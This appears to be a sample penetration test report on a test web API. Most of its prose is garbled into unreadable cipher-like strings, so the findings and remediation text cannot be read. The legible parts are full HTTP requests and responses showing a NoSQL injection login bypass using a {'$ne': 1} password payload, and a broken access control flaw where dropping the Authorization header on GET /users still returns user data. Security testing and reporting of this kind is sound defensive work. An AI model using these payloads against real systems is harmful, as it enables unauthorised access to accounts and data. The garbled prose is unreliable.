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"*,$J'!8*3G#3H*C!5(!5(5>79-9!#G!0?:N!'(+QR9!"*,$J0!588>-+5,-#(!,#!-C*(,-G7!=1>(*35M->-,-*9S!C*,*3H-(*!,2*!
>*=*>!#G!3-9T!,2*7!83*9*(,!,#!0?:N!'(+QS!5(C!83#=-C*!5+,-#(5M>*!3*+#HH*(C5,-#(9!,#!3*C1+*!,2-9!3-9TQ!
"*,$J'!+#H8->*C!,2-9!3*8#3,!,#!83#=-C*!0?:N!'(+Q!K-,2!C*,5->*C!-(G#3H5,-#(!#(!*5+2!=1>(*35M->-,7!
C-9+#=*3*C!K-,2-(!,2*!"*,$J0!588>-+5,-#(S!-(+>1C-(;!8#,*(,-5>!M19-(*99!-H85+,9!5(C!98*+-G-+!3*H*C-5,-#(!
-(9,31+,-#(9Q!

!!"#$#%&%"'()*+%,'-.%/(
"*,$J'R9!83-H537!;#5>!K-,2-(!,2-9!*(;5;*H*(,!K59!,#!83#=-C*!0?:N!'(+Q!K-,2!5(!1(C*39,5(C-(;!#G!,2*!
+133*(,!>*=*>!#G!9*+13-,7!-(!,2*!"*,$J0!588>-+5,-#(Q!!!

"*,$J'!+#H8>*,*C!,2*!G#>>#K-(;!#M)*+,-=*9!,#!5++#H8>-92!,2-9!;#5>U!

!! 'C*(,-G7-(;!588>-+5,-#(.M59*C!,23*5,9!,#!5(C!=1>(*35M->-,-*9!-(!,2*!588>-+5,-#(!!
!! ?#H853-(;!0?:N!'(+QR9!+133*(,!9*+13-,7!H*5913*9!K-,2!-(C19,37!M*9,!835+,-+*9!
!! J3#=-C-(;!3*+#HH*(C5,-#(9!,25,!0?:N!'(+Q!+5(!-H8>*H*(,!,#!H-,-;5,*!,23*5,9!5(C!=1>(*35M->-,-*9!

5(C!H**,!-(C19,37!M*9,!835+,-+*9!

!0,12%(3(4-&%56$&%(
V*9,-(;!5(C!=*3-G-+5,-#(!K59!8*3G#3H*C!M*,K**(!W1(*!O!"S!APAX!5(C!W1(*!/#$S!APAXQ!V2*!9+#8*!#G!,2-9!
*(;5;*H*(,!K59!>-H-,*C!,#!,2*!"*,$J0!588>-+5,-#(Q!!

V2*!G#>>#K-(;!979,*H9!K*3*!-(!9+#8*!G#3!,*9,-(;U!

J>!
644C"))! 6))"/!K!LCM!

!"#$%#%&'#()*! ODQYAQAPZQ[X!.!088>-+5,-#(!0J'!N(C8#-(,!.!2,,89U\\*]5H8>*Q58-Q(*,985Q=1>(Q(*,98-.1Q+#H!
!"#$%#'!#+"'*! ODQYAQZOQ@DZ!.!088>-+5,-#(!<3#(,*(C!.!2,,89U\\*]5H8>*Q588Q(*,985Q=1>(Q(*,98-.1Q+#H!
!

'(!5CC-,-#(!,#!1(51,2*(,-+5,*C!,*9,-(;S!51,2*(,-+5,*C!588>-+5,-#(!,*9,-(;!K59!8*3G#3H*C!19-(;!,2*!G#>>#K-(;!
+3*C*(,-5>9U!

L)"CN6@"! CEM"!
,*9,^(*,98-Q+#H! V*9,!$*3=-+*!0++#1(,!
,*9,O^(*,98-Q+#H! V*9,!$,5(C53C!0++#1(,!
!

"*,$J'!+#(C1+,*C!,2*!,*9,9!19-(;!5!(#(.83#C1+,-#(!=*39-#(!#G!"*,$J0Q!0>>!#,2*3!588>-+5,-#(9!5(C!9*3=*39!
K*3*!#1,!#G!9+#8*Q!0>>!,*9,-(;!5(C!=*3-G-+5,-#(!K59!+#(C1+,*C!G3#H!#1,9-C*!#G!0?:N!'(+QR9!#GG-+*9Q!

!07&&$68(15(9-":-"#/(
"*,$J'R9!599*99H*(,!#G!,2*!"*,$J0!588>-+5,-#(!3*=*5>*C!,2*!G#>>#K-(;!=1>(*35M->-,-*9U!

•! @!+3-,-+5>!9*=*3-,7!=1>(*35M->-,7!

•! O!2-;2!9*=*3-,7!=1>(*35M->-,-*9!

•! A!H*C-1H!9*=*3-,7!=1>(*35M->-,-*9!

•! A!>#K!9*=*3-,7!=1>(*35M->-,-*9!
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$*3=*3.$-C*!E*F1*9,!<#3;*37! _-;2! 0@P.$*3=*3.$-C*!E*F1*9,!
<#3;*37!

'(G#3H5,-#(!I-9+>#913*!.!J599K#3C!-(!$*3=*3!
E*98#(9*! :*C-1H! 0X.'(9*+13*!I*9-;(!

'(91GG-+-*(,!'(81,!L5>-C5,-#(!.!?>-*(,.$-C*!?#(,3#>9( :*C-1H( 0O.'()*+,-#((
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V2*!G#>>#K-(;!,5M>*!>-9,9!,2*!`a0$J!V#8!@P!=1>(*35M->-,-*9!5(C!-(C-+5,*9!K2-+2!-991*9!K*3*!-C*(,-G-*C!-(!
,2*!"*,$J0!588>-+5,-#(Q!

Q6/"RECP! SELN4!
0@.63#T*(!0++*99!?#(,3#>! b*9!
0A.?378,#;3582-+!<5->13*9! "#!
0O.'()*+,-#(! b*9!
0X.'(9*+13*!I*9-;(! b*9!
0D.$*+13-,7!:-9+#(G-;135,-#(! b*9!
0Z.L1>(*35M>*!5(C!`1,C5,*C!?#H8#(*(,9! "#!
0/.'C*(,-G-+5,-#(!5(C!01,2*(,-+5,-#(!<5->13*9! "#!
0[.$#G,K53*!5(C!I5,5!'(,*;3-,7!<5->13*9! "#!
0Y.$*+13-,7!&#;;-(;!5(C!:#(-,#3-(;!<5->13*9! "#!
0@P.$*3=*3.$-C*!E*F1*9,!<#3;*37!c$$E<d! b*9!
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%0%12#31*4'5%$*34'

!).%6.-%;(
V2*!C*,5->*C!G-(C-(;9!9*+,-#(!+#(,5-(9!,2*!5(5>79-9!5(C!C#+1H*(,5,-#(!#G!,2*!=1>(*35M->-,-*9!-C*(,-G-*C!
K-,2-(!,2*!"*,$J0!588>-+5,-#(Q!V2-9!5(5>79-9!-(+>1C*CU!

!! 'C*(,-G7-(;!8#,*(,-5>!=1>(*35M->-,-*9!599#+-5,*C!K-,2!,2*!"*,$J0!588>-+5,-#(!
!! 099-;(-(;!5883#83-5,*!9*=*3-,7!35(T-(;9!,#!=5>-C!=1>(*35M->-,-*9!5(C!3-9T9!
!! <#3H1>5,-(;!19*G1>!5+,-#(.M59*C!3*+#HH*(C5,-#(9!,25,!+5(!-H83#=*!,2*!9*+13-,7!8#9,13*!#G!,2*!'V!

*(=-3#(H*(,!

L1>(*35M->-,-*9!53*!;3#18*C!5++#3C-(;!,#!9*=*3-,7Q!'(G#3H5,-#(!G#3!*5+2!#G!,2*!=1>(*35M->-,-*9!-(+>1C*9!,2*!
G#>>#K-(;U!

!"#$%!V2*!(5H*!#G!,2*!=1>(*35M->-,7Q!
&$'$()*+%!N5+2!#G!,2*!=1>(*35M->-,-*9!259!M**(!599-;(*C!5!9*=*3-,7!M59*C!#(!-,9!?L$$!9+#3*Q!V2*!
G#>>#K-(;!,5M>*!91HH53-4*9!,2*!G-=*!9*=*3-,7!>*=*>9U!
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YQP!e!@PQP! ?3-,-+5>!
L1>(*35M->-,7!K->>!3*91>,!-(!+#H8>*,*!+#H83#H-9*!#G!,2*!5GG*+,*C!
588>-+5,-#(9!#3!979,*H9Q!V2*!=1>(*35M->-,7!+5(!M*!*]8>#-,*C!3*H#,*>7!M7!5(!
1(51,2*(,-+5,*C!19*3Q!!
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C*8*(C9!#(!+#(C-,-#(9!M*7#(C!,2*!5,,5+T*3R9!+#(,3#>Q!

XQP!e!ZQY! :*C-1H! L1>(*35M->-,-*9!,25,!H57!3*91>,!-(!853,-5>!+#H83#H-9*!#G!,2*!+#(G-C*(,-5>-,7S!
-(,*;3-,7S!5(C!5=5->5M->-,7Q!

PQ@!e!OQY! &#K!
$*+13-,7!G>5K9!,25,!+5(!+#(,3-M1,*!,#!5CC-,-#(5>!5,,5+T9!5;5-(9,!,2*!979,*H!
#3!588>-+5,-#(!M1,!C#!(#,S!M7!,2*H9*>=*9S!5>>#K!1(51,2#3-4*C!5++*99!,#!
,53;*,*C!979,*H9!#3!588>-+5,-#(9Q!

PQP! '(G#3H5,-#(5>! $*+13-,7!M*9,!835+,-+*9!,25,!C#!(#,!25=*!C-3*+,!-HH*C-5,*!-H85+,!,#!979,*H!#3!588>-+5,-#(!9*+13-,7Q!

3!"#$%;5%$$/$-&0.%-$1$-$'2$*'

,-&&.&/0($%!V2-9!G-*>C!+#(,5-(9!,2*!?L$$!c?#HH#(!L1>(*35M->-,-*9!$+#3-(;!$79,*Hd!L*39-#(!OQ@!659*!
9+#3*!59!K*>>!59!,2*!9+#3-(;!=*+,#3!19*C!,#!;*(*35,*!,2*!9+#3*Q!?#H8>*,*!C#+1H*(,5,-#(!#G!?L$$!+5(!M*!
G#1(C!5,!2,,8U\\KKKQG-39,Q#3;\+=99Q!

123&4.,"*$50(+%.E*G*3*(+*!,#!,2*!`a0$J!V#8!@P!K*M!588>-+5,-#(!9*+13-,7!3-9T9!cAPA@dQ!
366$/*$7.388$*8."97.&$(')/$8%.$8*+-G-+!599*,9!5(C!599#+-5,*C!9*3=-+*9!#(!K2-+2!,2*!=1>(*35M->-,7!
K59!G#1(CQ!

-:;9$("<);)*+.=$*");8%.?#H83*2*(9-=*!*]8>5(5,-#(!#G!,2*!=1>(*35M->-,7!,25,!K59!G#1(CS!-(+>1C-(;!5!2-;2.
>*=*>!91HH537!#G!2#K!,2*!=1>(*35M->-,7!K#3T9Q!

>:8)9$88.?#@"/*%!V2-9!C*9+3-M*9!,2*!8#,*(,-5>!M19-(*99!-H85+,!#G!,2*!=1>(*35M->-,7S!92#1>C!-,!M*!
*]8>#-,*CQ!

A$/0##$97"*)09%!"*,$J'f9!9#>1,-#(!G#3!3*85-3-(;!,2*!=1>(*35M->-,7!#3!H-,-;5,-(;!,2*!83#M>*H!-G!(#!G-]!-9!
7*,!5=5->5M>*Q!
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!<6-'-,$=(0%.%6-'8(9-":-"#/(

!!"#$%&'()*+,-"(&
-:;9$("<);)*+.B9)D:$.?=%.@YP[[XO[[@.
&$'$()*+%..?3-,-+5>!
,-&&.-E.>"8$.&/0($%.YQ@!c0LU"\0?U&\JEU"\B'U"\$UB\?U_\'U_\0U"d!!
123&4.34?.FGFE.,"*$50(+%.0O.'()*+,-#(.

366$/*$7.388$*8."97.&$(')/$8.
6))"/! >EC/T)U!
ODQYAQAPZQ[X!.!088>-+5,-#(!0J'!N(C8#-(,!.!
2,,89U\\*]5H8>*Q58-Q(*,985Q=1>(Q(*,98-.1Q+#H! XXO!,+8!

-:;9$("<);)*+.=$*");8..
$-H->53>7!,#!$%&!-()*+,-#(S!"#$%&!-()*+,-#(!53-9*9!K2*(!5(!588>-+5,-#(!-(+#38#35,*9!19*3!-(81,!C-3*+,>7!-(,#!
,2*!F1*37!9,31+,13*!K-,2#1,!95(-,-45,-#(Q!"#$%&!C5,5M59*9!53*!(#(.3*>5,-#(5>!5(C!19*!T*7.=5>1*!9,#3*9!
35,2*3!,25(!,35C-,-#(5>!$%&!F1*3-*9!,#!-(,*35+,!K-,2!,2*!C5,5M59*S!K2-+2!H*5(9!,2*7!25=*!G*K*3!3*9,35-(,9!
5(C!+#(9-9,*(+7!+2*+T9Q!_#K*=*3S!5>,2#1;2!"#$%&!G35H*K#3T9!C#!(#,!M1->C!F1*3-*9!,2*!95H*!K57!59!-(!
$%&S!C*=*>#8*39!9#H*,-H*9!*]8#9*!,2*!19*3!,#!1(95G*!0J'9!,25,!K#1>C!5>>#K!,2*!19*3!,#!-()*+,!C-3*+,>7!
-(,#!,2*!,78*!9,31+,13*!5(C!H#C-G7!,2*!K57!,2*!C5,5M59*!-(,*383*,9!,2*!F1*37Q!V2-9!+5(!M*!19*C!,#!M78599!
51,2*(,-+5,*C!85;*9!91+2!59!>#;-(!85;*9S!#=*3K3-,*!*]-9,-(;!8535H*,*3!=5>1*9S!5(C!-()*+,!53M-,3537!533579Q!

A$/0##$97"*)09.
@Q!L5>-C5,*!,2*!-(81,!#G!,2*!19*3!5;5-(9,!,2*!*]8*+,*C!,78*!#G!,2*!C5,5Q!
AQ!&-H-,!,2*!83-=->*;*9!#G!,2*!I60!19*3!-G!8#99-M>*S!,#!>-H-,!,2*!5,,5+T!913G5+*Q!

366$/*$7.BAC8.
LCM! >6C6@"/"CT)U!
*]5H8>*Q58-Q(*,985Q=1>(Q(*,98-.1Q+#H\51,2\>#;-(! 8599K#3C!

-$()6)/"*)09.
)0&#%+2=!I!
V2*!588>-+5,-#(!5>>#K9!G#3!53M-,3537!"#$%&!>#;-+!,#!M*!9*(,!=-5!,2*!8599K#3C!8535H*,*3Q!V2-9!3*91>,9!-(!
5(7!5,,5+T*3!M*-(;!5M>*!,#!H5(-81>5,*!,2*!M5+T*(C!F1*37!-(!5!K57!,25,!5>>#K9!G#3!5(!51,2*(,-+5,-#(!
M78599!,#!5(7!5++#1(,!3*;-9,*3*C!#(!,2*!588>-+5,-#(!59!>#(;!59!,2*!599#+-5,*C!*H5->!5CC3*99!-9!9188>-*C!
-(!,2*!*H5->!8535H*,*3Q!

@Q!63#K9*!,#!,2*!588>-+5,-#(S!K2->*!-(,*3+*8,-(;!,35GG-+!-(!5!83#]7-(;!,##>S!91+2!59!6138!$1-,*Q!

!

AQ!N(,*3!5(7!53M-,3537!C5,5!-(,#!,2*!f*H5->f!5(C!f8599K#3Cf!G-*>C9!-(!,2*!G#3HS!5(C!,2*(!91MH-,!,2*!G#3HQ!
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!

OQ!`M9*3=*!,2*!G#>>#K-(;!_VVJ!3*F1*9,!5(C!3*98#(9*!85-3!,25,!-9!;*(*35,*C!=-5!,2*!91MH-99-#(!#G!,2*!
G#3H!K2*(!51,2*(,-+5,-(;!K-,2!=5>-C!+3*C*(,-5>9Q!

V//>!C&W*&?(U!
POST /auth/login HTTP/1.1 
Host: example.api.netspa.vuln.netspi-u.com 
Content-Length: 45 
Sec-Ch-Ua: "Chromium";v="113", "Not-A.Brand";v="24" 
Sec-Ch-Ua-Platform: "macOS" 
Sec-Ch-Ua-Mobile: ?0 
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like 
Gecko) Chrome/113.0.5672.127 Safari/537.36 
Content-Type: application/json 
Accept: */* 
Origin: https://example.app.netspa.vuln.netspi-u.com 
Sec-Fetch-Site: same-site 
Sec-Fetch-Mode: cors 
Sec-Fetch-Dest: empty 
Referer: https://example.app.netspa.vuln.netspi-u.com/ 
Accept-Encoding: gzip, deflate 
Accept-Language: en-US,en;q=0.9 
Connection: close 
 
 
{ 
  "email": "test@netspi.com", 
  "password": "t[REDACTED]" 
} 

!
V//>!C&?7=#?&U!
HTTP/1.1 200 OK 
Server: nginx 
Date: Wed, 24 May 2023 13:37:40 GMT 
Content-Type: application/json; charset=utf-8 
Content-Length: 7698 
Connection: close 
Cross-Origin-Embedder-Policy: require-corp 
Cross-Origin-Opener-Policy: same-origin 
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!

Cross-Origin-Resource-Policy: cross-origin 
X-DNS-Prefetch-Control: off 
X-Frame-Options: SAMEORIGIN 
Strict-Transport-Security: max-age=15552000; includeSubDomains 
X-Download-Options: noopen 
X-Content-Type-Options: nosniff 
Origin-Agent-Cluster: ?1 
X-Permitted-Cross-Domain-Policies: none 
Referrer-Policy: no-referrer 
X-XSS-Protection: 0 
Access-Control-Allow-Origin: * 
ETag: W/"1e12-Khlpjw8ftliMQRliadU97RyJoYw" 
Cache-Control: no-cache, no-store, never-cache, never-ever-cache 
 
 
{ 
  "token": 
"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6IjY0NmUwZjIyMjI0YTRiZGFmNzhiZmRhZSIsImlh
dCI6MTY4NDkzNTQ2MH0.u--ugF0nZ6l74jGjilQf3NrTb7POwPGFbD49NqQSZ3M", 
  "user": { 
    "_id": "646e0f22224a4bdaf78bfdae", 
    "firstName": "NetSPI", 
    "lastName": "Test", 
    "email": "test@netspi.com", 
    "password": "[REDACTED]", 
    "picturePath": "netspi-logo.png", 
    "friends": [], 
    "twitter": "", 
    "linkedin": "", 
    "isAvatarImageSet": true, 
    "avatarImage": "[TRUNCATED]", 
    "location": "Test Location", 
    "occupation": "Test Service Account", 
    "viewedProfile": 14561, 
    "impressions": 888822, 
    "createdAt": "1970-01-13T21:46:51.422Z", 
    "updatedAt": "1970-01-13T21:46:51.422Z", 
    "__v": 0 
  } 
} 

XQ!"#,*!,2*!G#>>#K-(;!"#$%&!-()*+,-#(!857>#5C!,25,!K->>!M*!19*C!,#!(*;5,*!,2*!8599K#3C!=5>-C5,-#(!>#;-+!-(!
,2*!C5,5M59*Q!

N=)XM!J#Y&0(2=#!>%,3=%8Z!
{ 
  "$ne": 1 
} 

DQ!E*8>5+*!,2*!=5>1*!#G!,2*!8599K#3C!-(!,2*!#3-;-(5>!3*F1*9,!K-,2!,2*!5G#3*H*(,-#(*C!857>#5CQ!!

E+2$2#%3!V//>!C&W*&?(U!
POST /auth/login HTTP/1.1 
Host: example.api.netspa.vuln.netspi-u.com 
Content-Length: 45 
Sec-Ch-Ua: "Chromium";v="113", "Not-A.Brand";v="24" 
Sec-Ch-Ua-Platform: "macOS" 
Sec-Ch-Ua-Mobile: ?0 
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!

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like 
Gecko) Chrome/113.0.5672.127 Safari/537.36 
Content-Type: application/json 
Accept: */* 
Origin: https://example.app.netspa.vuln.netspi-u.com 
Sec-Fetch-Site: same-site 
Sec-Fetch-Mode: cors 
Sec-Fetch-Dest: empty 
Referer: https://example.app.netspa.vuln.netspi-u.com/ 
Accept-Encoding: gzip, deflate 
Accept-Language: en-US,en;q=0.9 
Connection: close 
 
 
{ 
  "email": "test@netspi.com", 
  "password": "t[REDACTED]" 
} 

!
@=82[2&8!V//>!C&W*&?(U!
POST /auth/login HTTP/1.1 
Host: example.api.netspa.vuln.netspi-u.com 
Content-Length: 45 
Sec-Ch-Ua: "Chromium";v="113", "Not-A.Brand";v="24" 
Sec-Ch-Ua-Platform: "macOS" 
Sec-Ch-Ua-Mobile: ?0 
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like 
Gecko) Chrome/113.0.5672.127 Safari/537.36 
Content-Type: application/json 
Accept: */* 
Origin: https://example.app.netspa.vuln.netspi-u.com 
Sec-Fetch-Site: same-site 
Sec-Fetch-Mode: cors 
Sec-Fetch-Dest: empty 
Referer: https://example.app.netspa.vuln.netspi-u.com/ 
Accept-Encoding: gzip, deflate 
Accept-Language: en-US,en;q=0.9 
Connection: close 
 
 
{ 
  "email": "test@netspi.com", 
  "password": { 
    "$ne": 1 
  } 
} 

ZQ!`M9*3=*!,25,!,2*!3*98#(9*!5>>#K9!,2*!19*3!,#!91++*99G1>>7!51,2*(,-+5,*!,#!,2*!588>-+5,-#(S!K-,2#1,!5!
=5>-C!8599K#3C!G#3!,2*!9188>-*C!*H5->!5CC3*99Q!!

V//>!C&?7=#?&U!
HTTP/1.1 200 OK 
Server: nginx 
Date: Wed, 24 May 2023 18:17:07 GMT 
Content-Type: application/json; charset=utf-8 
Content-Length: 7698 
Connection: close 
Cross-Origin-Embedder-Policy: require-corp 
Cross-Origin-Opener-Policy: same-origin 
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!

Cross-Origin-Resource-Policy: cross-origin 
X-DNS-Prefetch-Control: off 
X-Frame-Options: SAMEORIGIN 
Strict-Transport-Security: max-age=15552000; includeSubDomains 
X-Download-Options: noopen 
X-Content-Type-Options: nosniff 
Origin-Agent-Cluster: ?1 
X-Permitted-Cross-Domain-Policies: none 
Referrer-Policy: no-referrer 
X-XSS-Protection: 0 
Access-Control-Allow-Origin: * 
ETag: W/"1e12-NWBVxVF+xyq+Rd4cN08PP9G2bo4" 
Cache-Control: no-cache, no-store, never-cache, never-ever-cache 
 
 
{ 
  "token": 
"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6IjY0NmUwZjIyMjI0YTRiZGFmNzhiZmRhZSIsImlh
dCI6MTY4NDkzNTQ2MH0.u--ugF0nZ6l74jGjilQf3NrTb7POwPGFbD49NqQSZ3M", 
  "user": { 
    "_id": "646e0f22224a4bdaf78bfdae", 
    "firstName": "NetSPI", 
    "lastName": "Test", 
    "email": "test@netspi.com", 
    "password": "[REDACTED]", 
    "picturePath": "netspi-logo.png", 
    "friends": [], 
    "twitter": "", 
    "linkedin": "", 
    "isAvatarImageSet": true, 
    "avatarImage": "[TRUNCATED]", 
    "location": "Test Location", 
    "occupation": "Test Service Account", 
    "viewedProfile": 14561, 
    "impressions": 888822, 
    "createdAt": "1970-01-13T21:46:51.422Z", 
    "updatedAt": "1970-01-13T21:46:51.422Z", 
    "__v": 0 
  } 
} 
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!

!

!"#$%&&'()*+(,-$."-"+/*+(,-$0"1+!
! ! "#$%!-&!'(!)&!

*+,%!-&.!&/&)!0!"1'213%4#15!6!7',(38%,43#9!!
!

!>-#?(0%.%6-'8(9-":-"#/(

!./,0"1-23,-"(&456377&8&9-77-(:&;/(+,-"(&%*<*=&.++*77&>"(,1"=7&
-:;9$("<);)*+.B9)D:$.?=%.@PZZDXA[Z@.
&$'$()*+%._-;2!
,-&&.-E.>"8$.&/0($%./QZ!c?L$$UOQ@\0LU"\0?U&\JEU&\B'U"\$UB\?U_\'U&\0U&d.
123&4.FGFH.,"*$50(+%.0@.63#T*(!0++*99!?#(,3#>!

366$/*$7.388$*8."97.&$(')/$8.
6))"/! >EC/T)U!
ODQYAQAPZQ[X!.!088>-+5,-#(!0J'!N(C8#-(,!.!
2,,89U\\*]5H8>*Q58-Q(*,985Q=1>(Q(*,98-.1Q+#H! XXO!,+8!

-:;9$("<);)*+.=$*");8..
V2*!588>-+5,-#(!C#*9!(#,!8*3G#3H!5C*F15,*!G1(+,-#(!>*=*>!5++*99!+#(,3#>!+2*+T9S!K2-+2!5>>#K9!19*39!,#!
;5-(!1(51,2#3-4*C!5++*99!,#!85;*9!#3!G1(+,-#(5>-,7!K-,2-(!,2*!588>-+5,-#(Q!

A$/0##$97"*)09.
N(913*!,25,!9,3#(;!5++*99!+#(,3#>9!53*!-(!8>5+*!,#!83*=*(,!1(51,2#3-4*C!5++*99!,#!588>-+5,-#(!85;*9!5(C!
G1(+,-#(5>-,7Q!01,2#3-45,-#(!+2*+T9!92#1>C!M*!8*3G#3H*C!9*3=*3.9-C*!83-#3!,#!83#=-C-(;!19*39!5++*99!
588>-+5,-#(!G1(+,-#(5>-,7Q!I#!(#,!3*>7!#(!51,2#3-45,-#(!+2*+T9!,25,!53*!8*3G#3H*C!+>-*(,.9-C*S!59!,2*!+>-*(,!
H57!M*!5M>*!,#!H5(-81>5,*!5(C!M78599!,2*9*!+2*+T9Q!N(913-(;!,25,!9*3=*3.9-C*!51,2#3-45,-#(!+2*+T9!53*!
-(!8>5+*!K->>!2*>8!83*=*(,!19*39!G3#H!;5-(-(;!1(51,2#3-4*C!5++*99!,#!3*9,3-+,*C!G1(+,-#(5>-,7!K-,2-(!,2*!
588>-+5,-#(Q!

366$/*$7.BAC8.
LCM!
2,,89U\\*]5H8>*Q58-Q(*,985Q=1>(Q(*,98-.1Q+#H\19*39!

-$()6)/"*)09.
)0&#%+2=!I!
"*,$J'!-C*(,-G-*C!,25,!,2*!588>-+5,-#(!C-C!(#,!=5>-C5,*!-G!5!WaV!K59!83*9*(,!#(!,2*!3*F1*9,!,#!,2*!5GG*+,*C!
*(C8#-(,Q!V2-9!5>>#K9!G#3!1(51,2*(,-+5,*C!19*39!,#!3*,3-*=*!C5,5!G3#H!,2*!0J'!K-,2#1,!83#=-C-(;!5(7!
=*3-G-+5,-#(!#G!,2*-3!51,2*(,-+5,-#(!9,5,19Q!

@Q!01,2*(,-+5,*!,#!,2*!588>-+5,-#(!59!5(7!19*3!5(C!(5=-;5,*!,#!,2*!2#H*85;*!K2->*!-(,*3+*8,-(;!,35GG-+!-(!5!
83#]7-(;!,##>S!91+2!59!6138!$1-,*Q!

AQ!`M9*3=*!,25,!18#(!51,2*(,-+5,-#(S!5(!0J'!+5>>!;#*9!#1,!-(!,2*!M5+T;3#1(C!,#!3*,3-*=*!,2*!+#(,*(,9!#G!5>>!
#G!,2*!19*39!9#!,25,!,2*!,-H*>-(*!+5(!3*(C*3!,2*!19*39R!-(G#3H5,-#(!83#8*3>7Q!

V//>!C&W*&?(U!
GET /users HTTP/1.1 
Host: example.api.netspa.vuln.netspi-u.com 
Sec-Ch-Ua: "Chromium";v="113", "Not-A.Brand";v="24" 
Sec-Ch-Ua-Mobile: ?0 
Authorization: Bearer 
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6IjY0NmUwZjIyMjI0YTRiZGFmNzhiZmRhZSIsImlhd
CI6MTY4NDk1MjIyN30.SCy2U-G4Bsz_Agmbb0ZgtB2RU5Bg6gI6otyQS5a3yDM 
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like 
Gecko) Chrome/113.0.5672.127 Safari/537.36 
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Sec-Ch-Ua-Platform: "macOS" 
Accept: */* 
Origin: https://example.app.netspa.vuln.netspi-u.com 
Sec-Fetch-Site: same-site 
Sec-Fetch-Mode: cors 
Sec-Fetch-Dest: empty 
Referer: https://example.app.netspa.vuln.netspi-u.com/ 
Accept-Encoding: gzip, deflate 
Accept-Language: en-US,en;q=0.9 
Connection: close 

!
V//>!C&?7=#?&U!
HTTP/1.1 200 OK 
Server: nginx 
Date: Wed, 24 May 2023 18:33:04 GMT 
Content-Type: application/json; charset=utf-8 
Content-Length: 1436 
Connection: close 
Cross-Origin-Embedder-Policy: require-corp 
Cross-Origin-Opener-Policy: same-origin 
Cross-Origin-Resource-Policy: cross-origin 
X-DNS-Prefetch-Control: off 
X-Frame-Options: SAMEORIGIN 
Strict-Transport-Security: max-age=15552000; includeSubDomains 
X-Download-Options: noopen 
X-Content-Type-Options: nosniff 
Origin-Agent-Cluster: ?1 
X-Permitted-Cross-Domain-Policies: none 
Referrer-Policy: no-referrer 
X-XSS-Protection: 0 
Access-Control-Allow-Origin: * 
ETag: W/"59c-QTYCw7+0rsD6rW3/u/5BGM2tg+4" 
Cache-Control: no-cache, no-store, never-cache, never-ever-cache 
 
 
[ 
  { 
    "fullName": "Rafi Seferyan", 
    "occupation": "Software Engineer", 
    "pfp": "rafi.png", 
    "userId": "646e0f22224a4bdaf78bfda4", 
    "friends": [] 
  }, 
  { 
    "fullName": "Jake Karnes", 
    "occupation": "Hacker", 
    "pfp": "karnes.jpeg", 
    "userId": "646e0f22224a4bdaf78bfda5", 
    "friends": [] 
  }, 
  { 
    "fullName": "NetSPI TestAccount", 
    "occupation": "Data Scientist Hacker", 
    "pfp": "netspi-logo.png", 
    "userId": "646e0f22224a4bdaf78bfda6", 
    "friends": [] 
  }, 
[TRUNCATED] 
] 

NetSPI Sample

NetSPI Sample

NetSPI Sample

NetSPI Sample

NetSPI Sample

NetSPI Sample



!

!

!"#$%&&'()*+(,-$."-"+/*+(,-$0"1+!
! ! "#$%!-)!'(!)&!
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OQ!E*H#=*!,2*!f01,2#3-45,-#(f!2*5C*3!G3#H!,2*!3*F1*9,S!,#!9-H1>5,*!5(!1(51,2*(,-+5,*C!19*3!H5T-(;!,2*!
3*F1*9,S!5(C!,2*(!9*(C!,2*!3*F1*9,Q!

E+2$2#%3!V//>!C&W*&?(U!
GET /users HTTP/1.1 
Host: example.api.netspa.vuln.netspi-u.com 
Sec-Ch-Ua: "Chromium";v="113", "Not-A.Brand";v="24" 
Sec-Ch-Ua-Mobile: ?0 
Authorization: Bearer 
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6IjY0NmUwZjIyMjI0YTRiZGFmNzhiZmRhZSIsImlhd
CI6MTY4NDk1MjIyN30.SCy2U-G4Bsz_Agmbb0ZgtB2RU5Bg6gI6otyQS5a3yDM 
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like 
Gecko) Chrome/113.0.5672.127 Safari/537.36 
Sec-Ch-Ua-Platform: "macOS" 
Accept: */* 
Origin: https://example.app.netspa.vuln.netspi-u.com 
Sec-Fetch-Site: same-site 
Sec-Fetch-Mode: cors 
Sec-Fetch-Dest: empty 
Referer: https://example.app.netspa.vuln.netspi-u.com/ 
Accept-Encoding: gzip, deflate 
Accept-Language: en-US,en;q=0.9 
Connection: close 

!
@=82[2&8!V//>!C&W*&?(U!
GET /users HTTP/1.1 
Host: example.api.netspa.vuln.netspi-u.com 
Sec-Ch-Ua: "Chromium";v="113", "Not-A.Brand";v="24" 
Sec-Ch-Ua-Mobile: ?0 
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like 
Gecko) Chrome/113.0.5672.127 Safari/537.36 
Sec-Ch-Ua-Platform: "macOS" 
Accept: */* 
Origin: https://example.app.netspa.vuln.netspi-u.com 
Sec-Fetch-Site: same-site 
Sec-Fetch-Mode: cors 
Sec-Fetch-Dest: empty 
Referer: https://example.app.netspa.vuln.netspi-u.com/ 
Accept-Encoding: gzip, deflate 
Accept-Language: en-US,en;q=0.9 
Connection: close 

XQ!`M9*3=*!,25,!,2*!588>-+5,-#(!C#*9!(#,!=5>-C5,*!,2*!19*39!51,2*(,-+5,-#(!9,5,*!#(!,2-9!0J'!+5>>S!3*91>,-(;!
-(!,2*!5M->-,7!G#3!1(51,2*(,-+5,*C!19*39!,#!3*F1*9,!51,2*(,-+5,*C!+#(,*(,!#(!,2*!588>-+5,-#(Q!!

V//>!C&?7=#?&U!
HTTP/1.1 200 OK 
Server: nginx 
Date: Wed, 24 May 2023 18:33:04 GMT 
Content-Type: application/json; charset=utf-8 
Content-Length: 1436 
Connection: close 
Cross-Origin-Embedder-Policy: require-corp 
Cross-Origin-Opener-Policy: same-origin 
Cross-Origin-Resource-Policy: cross-origin 
